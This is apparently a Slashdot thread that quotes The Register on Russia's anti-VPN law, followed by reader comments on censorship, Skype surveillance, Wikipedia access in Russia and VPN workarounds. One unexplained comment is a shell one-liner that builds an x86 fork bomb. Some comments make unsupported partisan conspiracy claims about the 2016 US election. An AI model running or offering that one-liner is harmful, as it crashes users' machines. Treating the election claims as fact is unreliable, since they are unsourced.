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Russia's Anti-VPN Law Goes Into Effect (theregister.co.uk)
An anonymous reader quotes a report from The Register: A Russian law that bans the use or provision of virtual private networks (VPNs) will come into effect Wednesday. The legislation will require ISPs to block websites that offer VPNs and similar proxy services that are used by millions of Russians to circumvent state-imposed internet censorship. It was signed by President Vladimir Putin on July 29 and was justified as a necessary measure to prevent the spread of extremism online. Its real impact, however, will be to make it much harder for ordinary Russians to access websites ISPs are instructed to block connections to by Russian regulator Roskomnadzor, aka the Federal Service for Supervision of Communications, Information Technology and Mass Media. The law is just one part of a concerted effort by the Russian government to restrict access to information online. While Russia does not appear to be going the same route as China -- which has a country wide, constantly maintained censorship apparatus, known as the Great Firewall of China -- it is clearly following its lead. At the same time as Putin signed the VPN legislation, he signed another that will come into effect in January. That law, like a similar one passed by the Chinese government earlier this year, will require operators of messaging services to verify their users' identities through phone numbers. And it will require operators to introduce systems to cut off any users that are deemed by the Russian government to be spreading illegal content.
Wow, Russia really has blocked Wikipedia?
I'm from Russia. Wikipedia is not banned. The claim in the article is incorrect.
Basically China has show the way
1) Stop foreign companies operating - ban them, spy on them, drive them out
2) Force people to use domestic companies, and force those domestic companies to censor and spy on people.
3) Ban VPNs so people can't see sources outside the country
Claim it's all to stop 'extremism'.
I remember back in the 90's the left in the US and UK claimed that censorship wouldn't work in China and China would eventually be forced to democratize. Now those same left want US social media companies to clamp down more and more on 'hate speech' which in this case means 'speech they hate'. In the UK people have gone to prison for a Facebook posts.
But hey, at least it's not the government censoring people. Rather it's an unelected oligarchy in tech companies that between them have a monopoly on the means of communication. So it's not violating the First Amendment which means it's fine.
The US and UK of course don't block VPNs, because they don't need to - most VPNs are US based and the NSA can zap 'em with a national security letter if it needs to spy on them. What about foreign companies? Well the US government apparently wanted a US buyer for Skype. Microsoft - which is US based and thus vulnerable to a national security letter - bought it. At which point Microsoft did this
https://en.wikipedia.org/wiki/...
Chinese, Russian and United States law enforcement agencies have the ability to eavesdrop on Skype conversations, as well as have access to Skype users' geographic locations. In many cases, simple request for information is sufficient, and no court approval is needed. This ability was deliberately added by Microsoft after they purchased Skype in 2011 for the law enforcement agencies around the world. This is implemented through switching the Skype client for a particular user account from the client-side encryption to the server-side encryption, allowing dissemination of an unencrypted data stream.
The interesting thing is that when it comes to intelligence cooperation where a company is owned makes a great deal of difference. US companies cooperate with US intelligence. Chinese and Russian ones cooperate with their intelligence agencies. Thus allowing people to use foreign companies is a national security risk. It also runs the risk of political contamination - witness the 'Russians-under-the-bed' paranoia in the US about Russian companies spending a few tens of thousands of dollars during the last US election.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Like the article says, Russia is trying to stop the spread of extremism online. Since Wikipedia is a right-wing extremist propaganda site, it is well within the scope of the Russian Law to block it.
Contrary to what's written in the article, Wikipedia is not blocked in Russia. I live there so I can attest that from personal experience. U.S. journalists typically do not burden themselves with verifying information regarding that country.
Thanks for letting us know. I can't imagine such a vast trove of information being wholesale blocked by a modern country.
You are welcome.
More precisely, Wikipedia was blocked for a brief period of time -- perhaps a day -- in 2015, over some article about a drug. However, very soon the officials backtracked, so not all ISPs have even implemented the ban by the time the block was lifted.
Using Google translate, you can read the Russian Wikipedia entry about that event. Or just can read about that story in some English media, such as Guardian.
I guess I'm wondering how they're implementing this.
Blocking PPTP / L2TP? Fine. I'll use OpenVPN on port 443 - go ahead and block all secure HTTP and see what happens to your economy.
Using some kind of deep inspection to find out that it's OpenVPN traffic? Ok, I'll just set up an SSH tunnel on any arbitrary port I want to and use Docker to put up a SOCKS5 proxy to pass all traffic from my local network through that tunnel. Good luck.
She also colluded with Russia to affect the US election. She paid $9 million to an MI-6 agent with Russian contacts to make up fake dirt on Trump, the DNC, Obama, and Comey with the FBI's money also helped pay for it.
They then used this false information to go to a FISA judge to wiretap Trump's campaign, using information they knew were lies.
Yea, but CNN (who ALSO works with the MI-6 guy and company that hired him) still say Trump is the one who colluded with Russia. Better believe a biased news source that joined in the collusion that actual facts.